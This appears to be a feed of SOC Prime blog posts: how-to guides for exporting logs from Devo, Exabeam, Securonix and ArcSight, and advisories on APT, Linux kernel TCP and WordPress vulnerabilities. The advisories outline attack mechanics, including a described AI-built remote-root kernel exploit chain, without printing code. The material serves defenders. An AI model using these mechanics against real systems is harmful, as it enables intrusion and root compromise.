Credentials. Create an API token, or an API key and secret, in your Devo domain’s credentials settings, with access to the tables you need.

Your region’s endpoint. The Query API host depends on where your domain lives, for example apiv2-us.devo.com or apiv2-eu.devo.com.

Table names. Devo organizes data in tables like box.unix or firewall.fortinet.traffic. Find yours in the Data Search area, and build the query there first.

Export with the Query API

curl -sS -X POST "https://apiv2-eu.devo.com/search/query" \
  -H "Authorization: Bearer $DEVO_TOKEN" -H 'Content-Type: application/json' \
  -d '{
    "query": "from box.unix where hostname = \"web-03\" select eventdate, hostname, message",
    "from": 1792368000,
    "to": 1792454400,
    "mode": {"type": "json/simple"}
  }' > devo_web03_1019.json

The from and to values above are epoch seconds for 2026-10-19 00:00 UTC to 2026-10-20 00:00 UTC. If the response is one JSON object per line, upload it as-is. If it’s an array, flatten it with jq -c ‘.[]’. For raw lines, extract message.

Python alternative. pip install devo-sdk, then use the API client from the devo.api package with your token, the same query and dates. It handles the request signing for key-and-secret authentication.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file.
2. Sanitize.
3. Review.

When it goes wrong

The post How to Export Devo Logs appeared first on SOC Prime.

A high-severity vulnerability in APT, the package management system used by Debian, Ubuntu, and derivative Linux distributions, could allow an on-path attacker to replace a verified software package with a malicious one and execute arbitrary code with root privileges. Tracked as CVE-2026-109518, the flaw carries a CVSS 4.0 score of 7.7 and affects APT’s HTTP download and retry handling.

The vulnerability is caused by improper handling of hard links when APT follows HTTP redirects and retries failed package downloads. Under the right conditions, two different downloads can be merged after a redirect causes them to resolve to the same URI. An attacker able to manipulate traffic between an APT client and a repository can abuse this behavior to substitute an attacker-controlled .deb package after verification has already taken place.

Because Debian packages can execute installation scripts with root privileges, successful exploitation can result in complete system compromise. However, exploitation requires several conditions: the victim must initiate a package installation, APT must communicate over manipulable HTTP, and the Acquire::Retries option must be set to a non-zero value.

Ubuntu 22.04 LTS and newer releases are exposed by default because retries are enabled. Debian has similarly enabled retries by default since APT 2.3.2, including Debian 12. Older releases can still be vulnerable when administrators or automation scripts manually enable retries.

Contact Sales

The vulnerability was discovered by security researcher Max Justicz and publicly disclosed on November 4, 2026. Debian and Ubuntu released security updates on the same day. Neither vendor advisory currently reports exploitation of the flaw in real-world attacks.

Security teams can use SOC Prime’s AI-Native Detection Intelligence Platform to operationalize threat intelligence and strengthen defenses against software supply-chain attacks, package manager abuse, malicious payload execution, and post-compromise activity across SIEM, EDR, XDR, and Data Lake environments.

Detect CVE-2026-109518 by monitoring suspicious changes in package repository traffic, unexpected redirects or repeated package-download failures, anomalous package installations, and new privileged processes occurring immediately after APT activity.

Detection content may not be available for every CVE. Check the SOC Prime Platform for current coverage. If relevant detections are not yet available, check again as new threat intelligence and detection content are continuously added.

CVE-2026-109518 analysis

CVE-2026-109518 affects APT deployments on Debian, Ubuntu, and derivative Linux distributions when package files are downloaded over an attacker-manipulable HTTP path and retry functionality is enabled. Ubuntu classifies the vulnerability as High with a CVSS 4.0 score of 7.7 and the vector CVSS:4.0/AV/AC/AT/PR/UI/VC/VI/VA/SC/SI/SA.

APT is responsible for downloading, verifying, and installing packages on Debian-based Linux systems. Package authenticity normally relies on Debian and Ubuntu repository signature mechanisms designed to ensure that packages delivered by mirrors cannot be silently modified by an untrusted intermediary.

CVE-2026-109518 breaks an important part of this trust model under specific download conditions.

The vulnerability occurs when APT handles HTTP redirects and retries. According to Debian’s advisory, APT can merge two separate package downloads when a redirect causes them to share the same URI. When a download subsequently needs to be resumed, incorrect handling of reused hard links can allow the content associated with an already verified package to be overwritten.

An attacker first needs the ability to manipulate HTTP traffic between the victim and the package archive. Potential positions include a malicious or compromised network intermediary, proxy, Wi-Fi network, or package mirror. Ubuntu explicitly includes malicious mirrors and proxies in its threat model.

The attacker can then use redirects together with transient HTTP errors to force APT into its retry path. When APT retries the package download, the flaw in hard-link handling can cause attacker-controlled data to replace content associated with a package that has already passed verification.

This allows the malicious package to bypass the protection normally provided by repository signatures.

The impact becomes particularly severe because .deb packages can contain maintainer scripts executed during installation. These scripts run with root privileges when packages are installed, meaning an attacker who successfully substitutes a package can execute commands with full system privileges.

The vulnerability does not mean that every Debian or Ubuntu host can be compromised remotely at any time. The attack requires the victim system to perform a package installation or upgrade while the attacker can interfere with the network path.

Another important prerequisite is Acquire::Retries.

APT uses this option to determine whether failed downloads should automatically be retried. The vulnerable behavior requires a value greater than zero. Debian’s APT developers state that retries have been enabled by default since APT 2.3.2, while Ubuntu confirms that Ubuntu 22.04 LTS and newer releases use a non-zero default value.

Older systems are therefore not necessarily safe. Although Ubuntu 20.04 LTS and earlier releases do not enable retries by default, custom configuration, deployment automation, or administrator scripts can set Acquire::Retries manually and make those systems exploitable.

The vulnerability exists in APT’s HTTP backend and therefore applies across APT-based frontends, including apt, apt-get, aptitude, and graphical Ubuntu applications that ultimately use the same underlying package management infrastructure. Snap packages are not affected because they use a different distribution mechanism.

HTTPS also changes the attack surface significantly. Ubuntu states that TLS protects against this vulnerability because the attacker must be able to modify HTTP traffic in transit. Package sources accessed exclusively over properly validated HTTPS are therefore protected from the documented on-path attack method. FTP and unrelated transport mechanisms are not affected by this specific issue.

The CVE-2026-109518 PoC situation should be interpreted carefully. Debian and Ubuntu’s official advisories do not link to a public exploit demonstrating full root compromise, and they do not report malicious exploitation in the wild. The technical information released by APT developers nevertheless explains enough of the redirect, retry, and hard-link behavior for defenders to understand the attack requirements.

The weakness is associated with improper hard-link handling and a time-of-check/time-of-use condition. The CVE record maps it to CWE-62, UNIX Hard Link, and CWE-367, Time-of-check Time-of-use Race Condition.

APT developers released fixed versions across multiple maintained branches:

Debian 13 “Trixie” received APT 3.0.4, while Debian 12 “Bookworm” received version 2.6.2.

Ubuntu released the following corrected packages:

Updates for older Ubuntu releases require the applicable Ubuntu Pro or Extended Security Maintenance coverage.

For CVE-2026-109518 detection, security teams should correlate package-management activity with network and endpoint telemetry. Repeated HTTP redirects, transient download failures immediately followed by successful package retrieval, unexpected repository destinations, or package installation from unusual network paths can provide useful investigation pivots.

Endpoint monitoring should also identify unusual child processes spawned during or immediately after APT or dpkg execution. Because successful exploitation results in an attacker-controlled package being installed as root, suspicious shell execution, new services, altered system files, persistence mechanisms, user creation, credential access, or unexpected outbound connections following package installation should be treated as high-priority indicators.

APT and dpkg logs can provide additional context. Defenders should review /var/log/apt/, /var/log/dpkg.log, system journal records, proxy telemetry, DNS logs, and network security data around suspicious package operations. Comparing installed package versions and checksums against trusted distribution repositories can help identify unexpected modifications.

At present, vendor advisories provide no attacker infrastructure, malware hashes, or campaign-specific CVE-2026-109518 IOCs because Debian and Ubuntu have not reported active malicious exploitation. Behavioral monitoring is therefore more valuable than searching for a static IOC list.

CVE-2026-109518 Mitigation

The primary remediation is to install the updated APT package supplied by Debian, Ubuntu, or the relevant derivative distribution. Administrators should not rely solely on network controls because the corrected APT implementation prevents the package verification bypass at its source.

Ubuntu recommends updating all installed packages while explicitly disabling retries during the update process:

sudo apt update && sudo apt upgrade -o Acquire::Retries=0

Organizations that cannot perform a complete system upgrade can target APT itself:

sudo apt update && sudo apt install -o Acquire::Retries=0 –only-upgrade ‘?source-package(^apt$)’

Setting retries to zero during this operation prevents the vulnerable retry path from being used while the security update itself is downloaded and installed.

Security teams should take the following steps:

1. Inventory Debian, Ubuntu, and derivative Linux systems using APT.
2. Identify the installed APT version and compare it with the vendor-fixed release.
3. Prioritize internet-connected systems and environments using untrusted, third-party, or community package mirrors.
4. Apply the vendor security update with Acquire::Retries=0.
5. Confirm that the corrected APT package is installed.
6. Review /etc/apt/sources.list and files under /etc/apt/sources.list.d/ for unexpected HTTP repositories.
7. Move package sources from HTTP to HTTPS where supported.
8. Review proxy and package mirror infrastructure for signs of compromise or unauthorized modification.
9. Investigate unexpected package installations that occurred before the fix was deployed.

Ubuntu confirms that changing package repositories to HTTPS provides protection against the documented attack because exploitation requires modification of HTTP traffic. Administrators should first verify that their selected repository mirrors support TLS and then run sudo apt update to ensure that the configuration operates without errors.

Using HTTPS should be treated as defense in depth rather than a substitute for updating APT. Systems may later use another repository, proxy, automation workflow, or HTTP endpoint, so installing the corrected package remains necessary.

Temporarily setting Acquire::Retries to zero provides another effective workaround against the documented exploitation condition. Since the flaw depends on APT retrying a failed download, disabling retries prevents the vulnerable code path from being reached. This setting can reduce package-download reliability, however, and should primarily be used while applying the actual security update.

Organizations using unattended upgrades should verify patch deployment rather than assuming every machine has already been corrected. Ubuntu notes that unattended-upgrades is enabled by default from Ubuntu 16.04 LTS onward and normally applies security updates within 24 hours, but fleet management, network restrictions, custom repository configurations, or disabled services can prevent successful installation.

If compromise is suspected, administrators should preserve APT, dpkg, proxy, network, and system logs before remediation. Review packages installed during the suspected exposure window, validate package provenance, inspect maintainer scripts, and investigate any root-level processes or persistence established immediately afterward.

Because a malicious package can run arbitrary commands as root, confirmed exploitation should be treated as full system compromise. Rebuilding the affected host from trusted media may be more reliable than attempting to remove individual artifacts, especially when the attacker could have modified system binaries, services, authentication configuration, or kernel-level components.

The post CVE-2026-109518: APT Flaw Enables MitM Root Code Execution appeared first on SOC Prime.

A critical vulnerability in the Linux kernel’s IPv4 TCP networking stack could allow an unauthenticated remote attacker to trigger memory corruption, crash vulnerable systems, and potentially execute arbitrary code with root privileges. Tracked as CVE-2026-98432, the flaw carries a CVSS 3.1 score of 9.8 and has existed in the Linux kernel since version 4.4.

The vulnerability stems from a race condition that can cause the kernel to access IP option data after the underlying memory has already been freed. An attacker capable of reaching an exposed IPv4 TCP service can attempt to trigger the condition using specially timed connection requests containing IPv4 options. No authentication, local privileges, or user interaction are required.

Security interest increased significantly after Anthropic disclosed that an internal Claude research model had developed a working exploit capable of achieving remote root command execution against a Linux server with a Multipath TCP (MPTCP) listener. The exploit first leaks a kernel pointer to bypass KASLR and then uses the same use-after-free condition to corrupt memory and redirect kernel control flow. Anthropic has not released the exploit code.

Importantly, the underlying vulnerability is not limited to MPTCP. Red Hat confirms that systems with ordinary IPv4 TCP networking remain vulnerable even when MPTCP is disabled, including default Red Hat Enterprise Linux configurations.

Contact Sales

As of November 4, 2026, no Linux vendor, CERT, or other reviewed source has reported confirmed exploitation of the flaw in real-world attacks. Public research code demonstrating portions of the vulnerability exists, but a publicly released exploit providing the full remote-root capability demonstrated by Anthropic has not been documented.

Security teams can use SOC Prime’s AI-Native Detection Intelligence Platform to strengthen their defenses against emerging vulnerability exploitation, operationalize threat intelligence, and accelerate threat hunting across SIEM, EDR, XDR, and Data Lake environments.

Detect CVE-2026-98432 by monitoring unusual IPv4 TCP traffic containing IP options, repeated connection attempts designed to trigger race conditions, kernel crashes or memory-corruption events, and suspicious activity that could indicate successful post-exploitation.

Detection content may not be available for every CVE. Check the SOC Prime Platform for current coverage. If relevant detections are not yet available, check again as new threat intelligence and detection content are continuously added.

CVE-2026-98432 analysis

CVE-2026-98432 affects the IPv4 TCP connection-handling code in Linux kernels containing the vulnerable implementation introduced in Linux 4.4. The Linux kernel CVE team classifies the issue as critical with a CVSS 3.1 score of 9.8 and the vector AV/AC/PR/UI/S/C/I/A.

The vulnerability is a use-after-free condition caused by a race during concurrent TCP connection processing. When an IPv4 TCP connection is established, tcp_v4_syn_recv_sock() transfers IP options associated with the pending request to the newly created socket without making a separate copy.

Another CPU can simultaneously process a retransmitted SYN associated with the same request socket. During that process, functions responsible for generating the SYN-ACK continue reading the IP options while protected by an RCU read-side critical section.

However, the child socket can be destroyed while that operation is still underway. The kernel then frees the associated inet_opt structure using kfree(), leaving another CPU potentially accessing memory that has already been released. The resulting stale reference creates a use-after-free condition in ip_options_build().

A similar race exists during request socket migration, including configurations using net.ipv4.tcp_migrate_req=1 or BPF-based SK_REUSEPORT_SELECT_OR_MIGRATE. The upstream fix replaces the unsafe memory release with RCU-aware freeing, ensuring readers have finished accessing the object before its memory can be reclaimed.

The first issue specifically affects IPv4. The kernel advisory states that IPv6 is not vulnerable to that particular race because tcp_v6_syn_recv_sock() duplicates the relevant options instead of transferring them in the same manner.

Remote exploitation requires specially constructed network traffic and precise manipulation of the race condition. Red Hat notes that the likely outcomes can include a kernel crash, memory corruption, and potentially remote code execution. The lack of authentication and user interaction substantially increases the risk for systems exposing TCP services to untrusted networks.

Anthropic demonstrated that the vulnerability can be transformed into a full remote-root exploit. Its research model targeted a Linux server accepting Multipath TCP connections and used two stages to achieve command execution.

During the first stage, the exploit repeatedly triggers the race and manipulates a length value so the kernel returns additional adjacent memory in a network response. Eventually, one of these responses contains a kernel pointer. That disclosure reveals information about the kernel memory layout and allows the exploit to defeat Kernel Address Space Layout Randomization (KASLR).

During the second stage, the exploit uses the same vulnerability to cause a buffer overflow and overwrite a callback pointer. The pointer is redirected toward a payload previously placed in kernel memory using legitimate protocol functionality. When the kernel invokes the modified callback, existing kernel functions are chained together until an attacker-selected shell command is executed as root.

A particularly important characteristic of the exploit is that losing the race does not necessarily crash the server. Instead, the connection attempt can simply fail, allowing the attacker to retry repeatedly. In Anthropic’s test environment, obtaining a useful kernel pointer took approximately 48 minutes, followed by another five minutes to achieve root command execution.

This demonstration should not be interpreted to mean that MPTCP is required for exploitation. Anthropic demonstrated one successful exploit path involving an MPTCP listener, but the vulnerable code resides in ordinary IPv4 TCP handling. Red Hat explicitly warns that disabling MPTCP does not fully address the vulnerability and that default RHEL installations remain affected even though MPTCP is disabled by default.

The CVE-2026-98432 PoC situation is also important to distinguish from the existence of a complete weaponized exploit. Anthropic developed a functioning remote-root proof of concept internally but has not published it. Public code reported by security researchers can demonstrate or detect aspects of the underlying race and memory disclosure, but the reviewed sources do not document publicly released code reproducing Anthropic’s complete remote code execution chain.

The vulnerability was reported by Anthropic researcher Xinyang Ge. The upstream Linux fix was applied on October 5, 2026, while the Linux kernel CVE record was published on October 15. Anthropic publicly described its full exploitation research on October 27.

The Linux kernel project identifies the following upstream fixed versions:

• Linux 5.10.272
• Linux 5.15.223
• Linux 6.1.190
• Linux 6.6.159
• Linux 6.12.113
• Linux 6.18.56
• Linux 7.2.10
• Linux 7.3

The kernel team recommends upgrading to the latest stable kernel rather than cherry-picking individual commits.

Distribution-specific exposure and remediation differ because Linux vendors maintain their own kernels and backport security fixes. Red Hat currently rates the issue Critical at 9.8 and has released fixes for multiple RHEL 8, 9, and 10 streams. OpenShift and layered products that depend on affected RHEL kernels also require attention.

Ubuntu likewise rates the vulnerability Critical at 9.8. Ubuntu 26.10 has received a fixed generic kernel, while fixes for Ubuntu 22.04 LTS, 24.04 LTS, and 26.04 LTS were available in the -proposed testing pocket as of early November, with additional supported releases awaiting fixes. Administrators should use Canonical’s CVE page rather than relying solely on upstream kernel version numbers.

For CVE-2026-98432 detection, security teams should combine network and host telemetry. Potential network-level hunting signals include unusual inbound IPv4 TCP packets carrying IP options, especially repeated connection attempts containing Record Route or Timestamp options and abnormal patterns of SYN retransmission. The presence of such traffic alone does not confirm exploitation, but it provides a useful hunting pivot when correlated with vulnerable systems.

Host-level monitoring should include Linux kernel crashes, kernel warnings, memory-corruption indicators, unexpected service restarts, and anomalous activity immediately following suspicious network traffic. Because successful exploitation could theoretically provide root code execution, defenders should also monitor for unexpected privileged processes, newly created files, configuration changes, persistence mechanisms, and unexplained outbound connections.

There are currently no attacker-specific CVE-2026-98432 IOCs such as confirmed malicious IP addresses, domains, or malware hashes because the reviewed sources have not reported real-world exploitation. Defenders should therefore prioritize behavior-based detection and exposure assessment rather than relying on static indicators.

CVE-2026-98432 Mitigation

The definitive remediation is to install a vendor-provided kernel containing the security fix. The Linux kernel CVE team recommends moving to the latest supported stable kernel, while Linux distribution users should install packages supplied specifically by their vendor because fixes are commonly backported without changing to an upstream kernel version.

Administrators should prioritize internet-facing Linux servers and other systems accepting inbound IPv4 TCP connections. The attack surface is broad because the vulnerability exists in the kernel networking stack rather than in an individual application or server product.

Organizations should take the following steps:

1. Inventory Linux servers and identify the running kernel with tools such as uname -r.
2. Check the relevant Linux distribution’s security advisory rather than determining exposure solely from the upstream version number.
3. Install the vendor-provided fixed kernel as soon as it becomes available.
4. Reboot affected systems after installing the updated kernel to ensure the patched kernel is running.
5. Prioritize internet-facing servers and infrastructure accepting inbound IPv4 TCP traffic.
6. Review externally exposed TCP services and limit unnecessary network accessibility.
7. Continue monitoring vendor advisories because fix availability differs across Linux distributions, kernel variants, cloud kernels, and support channels.

Red Hat and Ubuntu have also documented an interim packet-filtering approach that drops incoming IPv4 TCP packets containing IP options. The recommended nftables condition checks for an IPv4 header length greater than five and drops matching TCP packets before they reach the vulnerable socket-handling path.

This measure can reduce exposure because the known exploitation path requires IPv4 options. However, both vendors warn that packet filtering is not a complete replacement for installing the corrected kernel. It can also interfere with workloads that legitimately depend on IPv4 options and therefore should be tested before production deployment.

Disabling MPTCP alone should not be treated as sufficient protection. Although Anthropic’s working exploit targeted an MPTCP listener, the underlying vulnerability is in normal IPv4 TCP handling. Red Hat specifically notes that RHEL remains vulnerable in its default configuration even though MPTCP is disabled.

For environments using Go applications, disabling automatic MPTCP behavior can reduce exposure to the specific exploit demonstrated by Anthropic, but this remains an incomplete risk-reduction measure. Systems without an MPTCP listener should not automatically be considered safe because other exploitation techniques may target the same underlying race.

Because no real-world compromise campaign has been confirmed, incident-response guidance should currently focus on identifying potentially vulnerable systems and suspicious exploitation behavior rather than searching for a known attacker infrastructure set. Organizations that observe unusual TCP traffic followed by kernel instability or unexpected privileged execution should treat the activity as potentially malicious and preserve network and host telemetry for investigation.

The post CVE-2026-98432: Critical Linux Kernel TCP Flaw Enables Remote Code Execution appeared first on SOC Prime.

On the New-Scale Security Operations Platform, get an access token with your API key, then call the event search API with a filter, a time range and the fields you want. You get JSON back, one row per event. The Search app can also export results from the UI. Older on-premises Exabeam Data Lake deployments work differently; see the FAQ.

Exabeam collects logs for behavior analytics and SIEM, and since its merger with LogRhythm it covers a big share of the market. Prime Core has 15,635 detection rules for Exabeam, mapped to 542 MITRE ATT&CK techniques. Below is how to get events out, sanitize them, and investigate them for free in LogTotal.

Get Started For Free

Before you start

An API key. Create a client ID and secret in the platform’s API key settings, with permission to search events.

Your regional API host. It follows the pattern api.<region>.exabeam.cloud, for example api.us-west.exabeam.cloud or api.us-east.exabeam.cloud.

Query syntax. The event search uses Lucene-style filters, the same ones you type in the Search app. Test there first.

Export with the Search API

BASE="https://api.us-west.exabeam.cloud"

# 1. access token
TOKEN=$(curl -sS -X POST "$BASE/auth/v1/token" -H 'Content-Type: application/json' \
  -d "{\"client_id\": \"$EXA_ID\", \"client_secret\": \"$EXA_SECRET\", \"grant_type\": \"client_credentials\"}" \
  | jq -r '.access_token')

# 2. event search
curl -sS -X POST "$BASE/search/v2/events" \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{
    "filter": "host:\"web-03\"",
    "startTime": "2026-10-19T00:00:00Z",
    "endTime": "2026-10-20T00:00:00Z",
    "fields": ["*"],
    "limit": 10000
  }' > exabeam_web03_1019.json

jq -c '.rows[]' exabeam_web03_1019.json > exabeam_web03_1019.jsonl

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the .jsonl file.
2. Sanitize.
3. Review. 

When it goes wrong

The post How to Export Exabeam Logs appeared first on SOC Prime.

Generate an API token, run your Spotter query through the Securonix REST API (/ws/spotter/index/search), and save the events as JSON. When the source sent raw text, the original line is usually kept in the raw event field. Spotter in the UI can export results too. 

Securonix pulls in large volumes of activity data for UEBA and SIEM, which makes it a rich place to export an investigation slice from. Prime Core has 14,283 detection rules for Securonix, mapped to 620 MITRE ATT&CK techniques. Below is how to get data out, sanitize it, and investigate it for free in LogTotal.

Get Started For Free

Before you start

API access. You need a Securonix user that’s allowed to use the API. Tokens are generated with that user’s credentials and have a validity period you choose.

Your tenant URL. Cloud tenants usually look like https://<tenant>.securonix.net/Snypr.

Retention. Hot data is searchable directly in Spotter. Older data may sit in long-term storage that needs extra steps to search. 

Export with the REST API

BASE="https://<tenant>.securonix.net/Snypr"

# 1. token, valid for one day
TOKEN=$(curl -sS -H "username: $SNX_USER" -H "password: $SNX_PASS" -H "validity: 1" \
  "$BASE/ws/token/generate")

# 2. Spotter query for a time window
curl -sS -G -H "token: $TOKEN" "$BASE/ws/spotter/index/search" \
  --data-urlencode 'query=index=activity AND devicehostname="web-03"' \
  --data-urlencode 'eventtime_from=10/19/2026 00:00:00' \
  --data-urlencode 'eventtime_to=10/20/2026 00:00:00' \
  > snx_web03_1019.json

# 3. one event per line
jq -c '.events[]' snx_web03_1019.json > snx_web03_1019.jsonl

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file.
2. Sanitize. Look it over before you continue.
3. Review. 

When it goes wrong

The post How to Export Securonix Logs appeared first on SOC Prime.

How you export from ArcSight depends on which part of it holds the data. For history, search in ArcSight Logger and export the results. For a repeatable route, forward events from Logger or a SmartConnector to a syslog collector as CEF, and export the collector’s file. One thing decides how useful any export is: the original raw event is kept only if your SmartConnectors were configured to preserve it.

OpenText ArcSight has been running in large SOCs for a long time, which means it often holds years of history nobody else has. Prime Core has 21,311 detection rules for ArcSight, mapped to 664 MITRE ATT&CK techniques. Below is how to get events out, sanitize them, and investigate them for free in LogTotal.

Get Started For Free

Before you start

Which ArcSight? Logger stores and searches events. ESM correlates them. Recon is the newer search and analytics layer. For bulk export, Logger is usually the right place.

Is the raw event there? SmartConnectors normalize events into CEF fields. They keep the original text only with raw event preservation turned on. If it was off, you can export the normalized CEF events, but not the original lines.

Rights and retention. You need a Logger user that can search the storage groups involved, and the data has to still be within Logger’s retention.

Option 1: Logger search and export

1. In Logger, open Search, set the time range, and write the query using CEF field names, for example destinationHostName = “web-03” AND deviceVendor = “Unix”.
2. Run it and check the count.
3. Export the results. 

Option 2: Forward CEF to a syslog collector

Set up a small Linux collector with rsyslog listening on UDP or TCP 514. Then point a Logger forwarder or a SmartConnector destination at it, in CEF over syslog. Logger forwarders can also send a past time range as a one-off. Then cut the window you need from the collector’s file:

grep 'web-03' /var/log/arcsight/cef.log > arcsight_web03.log

Each line is a CEF record: a header with vendor, product and event name, then key=value extensions. If raw event preservation was on, the original text sits in the rawEvent field.

Option 3: Logger REST API

Logger also has a REST API for logging in and running searches, which suits scripted exports.

Upload, sanitize and review in LogTotal

1. Upload. Open logtotal.com and drop in the file.
2. Sanitize. Look it over before you continue.
3. Review. 

What this looks like on real data.

When it goes wrong

The post How to Export ArcSight Logs appeared first on SOC Prime.

A high-severity vulnerability in WordPress Core is being actively targeted in attacks, prompting the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to add the flaw to its Known Exploited Vulnerabilities (KEV) catalog. Tracked as CVE-2026-119977, the vulnerability carries a CVSS score of 8.1 and can allow an unauthenticated attacker to execute arbitrary code on a vulnerable server during a WordPress Core upgrade.

The vulnerability stems from a time-of-check time-of-use (TOCTOU) race condition in the WordPress upgrade process. During full-package Core updates, WordPress temporarily stages installation files in predictable, web-accessible locations. Attackers can repeatedly probe these locations and attempt to reach installer components during the brief period in which an upgrade is taking place.

WordPress addressed the issue in version 7.1.4, released on October 28, 2026. The vulnerability affects WordPress versions 4.7 through 7.1.3, while security fixes have also been backported to eligible older branches. WordPress stresses that only the latest release is actively supported.

The risk has moved beyond theoretical exploitation. Wordfence telemetry cited by The Hacker News recorded more than 18,500 requests targeting staged setup-config.php installer paths during the first 21 hours after disclosure. CISA subsequently confirmed evidence of exploitation and required applicable U.S. federal civilian agencies to remediate the vulnerability by November 6, 2026.

Security teams can use the SOC Prime Platform to strengthen detection coverage against emerging exploitation techniques and hunt for suspicious activity associated with vulnerable internet-facing systems. Detect CVE-2026-119977 exploitation by monitoring abnormal requests to WordPress upgrade locations, unexpected PHP execution, newly created administrative accounts, suspicious files, and post-exploitation behavior.

Detection content may not be available for every CVE. Check the SOC Prime Platform for current coverage. If relevant detections are not yet available, check again as new threat intelligence and detection content are continuously added.

Contact Sales

CVE-2026-119977 analysis

CVE-2026-119977 is classified as a TOCTOU race condition under CWE-367 and has a CVSS 3.1 score of 8.1. Its vector reflects network-based exploitation requiring no privileges or user interaction, with high potential impact on confidentiality, integrity, and availability. Attack complexity is rated high because successful exploitation depends on reaching a vulnerable resource during a narrow upgrade window.

CVE-2026-119977 affects WordPress Core releases from version 4.7 through 7.1.3. The weakness is not tied to a third-party plugin or theme; it exists in the Core software upgrade mechanism itself.

The issue occurs during full-package Core upgrades. WordPress temporarily extracts the new package into a staging location beneath the wp-content/upgrade directory before replacing the existing installation. In affected releases, portions of this staging location can be predictable and reachable from the web while the update is underway.

One particularly important component is the staged setup-config.php installer. An unauthenticated attacker who correctly predicts the temporary path and reaches that component before WordPress completes cleanup may be able to interact with the staged installation and ultimately execute PHP code on the server.

This creates an unusual exploitation model. A vulnerable WordPress site is not necessarily continuously exploitable. Instead, the attacker must catch the site during the brief period in which a full-package upgrade exposes the staging files. Researchers indicate that the opportunity may last only seconds.

Attackers can compensate for that limitation through automation. Rather than making a single request, threat actors can continuously poll potential upgrade paths and wait for a target to begin updating. Wordfence observed attackers repeatedly requesting variations of staged installer locations, demonstrating that real-world actors quickly understood how to target the race condition.

The large volume of observed requests should nevertheless be interpreted carefully. The reported figures represent blocked requests or exploitation attempts and do not mean that every request resulted in successful remote code execution. Exploitation still requires the request to coincide with an active full-package upgrade and other required server conditions.

Wordfence’s initial telemetry showed more than 18,500 requests against staged installer paths in the first 21 hours. GBHackers subsequently reported nearly 59,000 attempts blocked within a 24-hour period, while The Hacker News cited additional telemetry demonstrating continued exploitation activity.

Independent honeypot telemetry cited by The Hacker News recorded exploitation attempts on October 30, further supporting CISA’s decision to classify the vulnerability as actively exploited. CISA’s addition of the flaw to KEV significantly raises the urgency for organizations operating public WordPress infrastructure.

At the time of writing, the reviewed sources do not document a broadly available, publicly validated CVE-2026-119977 PoC repository. However, public exploit code is not required to establish risk because exploitation attempts have already been observed at scale and CISA has confirmed active exploitation.

WordPress 7.1.4 changes the vulnerable upgrade process. According to the available technical reporting, the remediation includes making staging locations less predictable, introducing additional protections against direct access, and preventing staged configuration data from being promoted in an unsafe manner.

WordPress credited security researcher Umut Bayram with reporting the upgrade-process weakness. Version 7.1.4 was released on October 28, 2026, and the CVE record was subsequently published on October 31.

For CVE-2026-119977 detection, defenders should pay particular attention to web requests targeting unusual paths beneath wp-content/upgrade, especially requests referencing staged copies of setup-config.php. Repeated requests across multiple possible staging directories may indicate automated probing attempting to win the race condition.

Successful exploitation can potentially provide remote PHP code execution in the context of the affected web server. Defenders should therefore correlate suspicious upgrade-path requests with subsequent evidence such as unexpected PHP files, modification of WordPress configuration data, unfamiliar administrator accounts, malicious plugins, unusual child processes spawned by the web server, or unexpected outbound connections.

Public reporting has not identified a comprehensive set of attacker-specific CVE-2026-119977 IOCs such as stable command-and-control domains or malware hashes. This makes behavior-based detection particularly important. Requests to predictable staging paths, suspicious activity during an update window, and post-exploitation modifications provide more durable hunting opportunities than relying exclusively on static indicators.

CVE-2026-119977 Mitigation

The primary CVE-2026-119977 mitigation is to update WordPress immediately. WordPress 7.1.4 contains the security fix, and fixes have also been made available or backported for eligible older release branches. Organizations should prioritize migration to the latest actively supported WordPress version rather than relying indefinitely on legacy security backports.

Administrators should take the following actions:

1. Upgrade internet-facing WordPress installations to version 7.1.4 or later.
2. Verify that automatic updates completed successfully rather than assuming that an update was applied.
3. Inventory older WordPress installations, including forgotten development, staging, and legacy sites.
4. Review web server and WAF logs for requests targeting wp-content/upgrade and staged setup-config.php paths.
5. Investigate unexpected PHP files, new WordPress administrator accounts, unauthorized plugins, and unexplained configuration changes.
6. Review outbound connections and web-server child processes for evidence of post-exploitation activity.
7. Ensure WAF protections operate early enough in the request path to cover direct requests to temporary PHP files.
8. Consider restricting direct web access to temporary upgrade directories where operationally feasible.

Web application firewall rules can reduce exposure to automated exploitation attempts, but they should not be treated as a replacement for patching. Because the vulnerable resource can exist temporarily outside the normal WordPress request flow, administrators should verify that their WAF deployment actually inspects direct requests to staged PHP files.

Organizations that upgraded while active exploitation was already underway should also consider retrospective investigation. Completing the update removes the vulnerable behavior but does not prove that the server was not compromised while the vulnerable staging directory was available.

Review access logs surrounding the precise upgrade timestamp. Requests to the affected staging paths occurring immediately before or during the upgrade should receive additional scrutiny. Security teams should then correlate those requests with file-system changes, WordPress account modifications, PHP execution, suspicious network connections, and other post-exploitation indicators.

If compromise is suspected, isolate the affected host where practical, preserve relevant web, application, authentication, and system logs, and collect suspicious files before remediation. Credentials and secrets accessible to the WordPress/PHP process should be considered potentially exposed and rotated based on the findings of the investigation.

CISA’s inclusion of the vulnerability in KEV confirms that remediation should be treated as an immediate operational priority rather than a routine patch-cycle item. Federal Civilian Executive Branch agencies were directed to address the issue by November 6, 2026.

The post CVE-2026-119977: WordPress Core RCE Flaw Exploited During Software Upgrades appeared first on SOC Prime.

Node2Shell/HTTP2Shell detection is harder than it looks, because the vulnerability is not confined to one product. Node2Shell, also called HTTP2Shell, is CVE-2026-111497: an out-of-bounds write in Google’s Brotli C decoder, versions 1.0.3 to 1.2.0, scored CVSS 4.0 9.2. Since the flaw sits in a shared compression library, it reaches Node.js, Python Brotli packages, Bun, curl, Envoy, and other software that decodes Brotli.

This article covers Node2Shell/HTTP2Shell detection using a log sample analyzed in LogTotal, a log analysis tool that matches events to known threats. Below, we cover the vulnerability context, the log source, what LogTotal reported, and how to respond.

Get Started For Free

Node2Shell (HTTP2Shell) Analysis

The vulnerable code sits in Brotli C decoder versions 1.0.3 to 1.2.0. Google, as the numbering authority, scored it 9.2 under CVSS 4.0, while Node.js rates it High. To read the log sample correctly, it helps to know how the bug is triggered, how the disclosure unfolded, and which software versions and configurations are exposed.

Vulnerability details for Node2Shell

